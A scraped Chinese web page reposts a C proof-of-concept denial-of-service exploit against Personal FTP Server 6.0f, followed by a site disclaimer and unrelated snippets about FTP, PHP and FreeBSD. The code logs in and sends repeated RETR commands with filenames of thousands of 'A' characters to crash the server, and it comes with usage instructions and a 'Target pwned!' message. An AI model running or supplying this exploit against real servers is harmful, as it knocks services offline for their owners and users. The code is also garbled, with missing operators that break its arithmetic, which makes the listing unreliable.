时间:2021-05-23
/*
*** The Personal FTP Server 6.0f RETR DOS exploit ***A vulnerability exists in the way Personal FTP Server handles
multiple RETR commands with overly long filenames.When confronted
with such consecutive requests the server will crash.Usage : ./pftpdos ip port user password
Ex. : ./pftpdos 127.0.0.1 21 test testPersonal FTP Server homepage: http://www.michael-roth-software.de/Discovey POC by Shinnok raydenxy [at] yahoo <dot> com
http://shinnok.evonet.ro*/#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <malloc.h>
#include <errno.h>int
min (int x, int y)
{
if (x < y)return x;
else
return y;
}
extern int errno;int
main (int argc, char *argv[])
{
struct sockaddr_in server;
int i, t, s;
char *req, *buff;
s = socket (AF_INET, SOCK_STREAM, 0);
bzero (&server, sizeof (server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr (argv[1]);
server.sin_port = htons (atoi (argv[2]));
connect (s, (struct sockaddr *) &server, sizeof (struct sockaddr));
req = malloc (sizeof (char) * \
(((strlen (argv[3]) - strlen (argv[4])) \
min (strlen (argv[3]), strlen (argv[4])) 8)));
sprintf (req, "USER %s\xD\xA", argv[3]);
write (s, req, strlen (req));
sprintf (req, "PASS %s\xD\xA", argv[4]);
write (s, req, strlen (req));
free (req);
for (i = 1; i <= 5; i )
{
t = (sizeof (char) * 1000 * i);
buff = malloc (t 1);
memset (buff, 'A', t);
buff[t 1] = '\0';
req = malloc (t 9);
sprintf (req, "RETR %s\xD\xA", buff);
if (write (s, req, strlen (req)) == -1)
{
perror (NULL);
printf ("Target pwned!\n", errno);
}
free (req);
free (buff);
sleep (1);
}
close (s);
return (EXIT_SUCCESS);
}
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
SpringCloudZuul集成Swagger1.准备服务注册中心eureka-server2.创建微服务swagger-service-astep1.创建微
本文针对PHP操作FTP类进行详细介绍,php实现FTP上传、FTP下载、FTP移动、FTP创建等,供大家参考,具体内容如下1.使用PHP操作FTP-用法2.F
FTP联机的两种模式FTP采用Client/Server架构,FTP协议比较特别的地方在于它在使用时必须建立二个联机:一个用来传输指令、一个用来传输档案。当我们
计算机之间的文件传输使用的协议是FTP协议,FTP是FileTransferProtocol(文件传输协议)的英文简称,而中文简称为“文传协议”。 FTP(F
官方下载地址:ftp://ftp15.us.freebsd.org/pub/FreeBSD/ISO-IMAGES-i386/7.0/FreeBSD7将是几年来F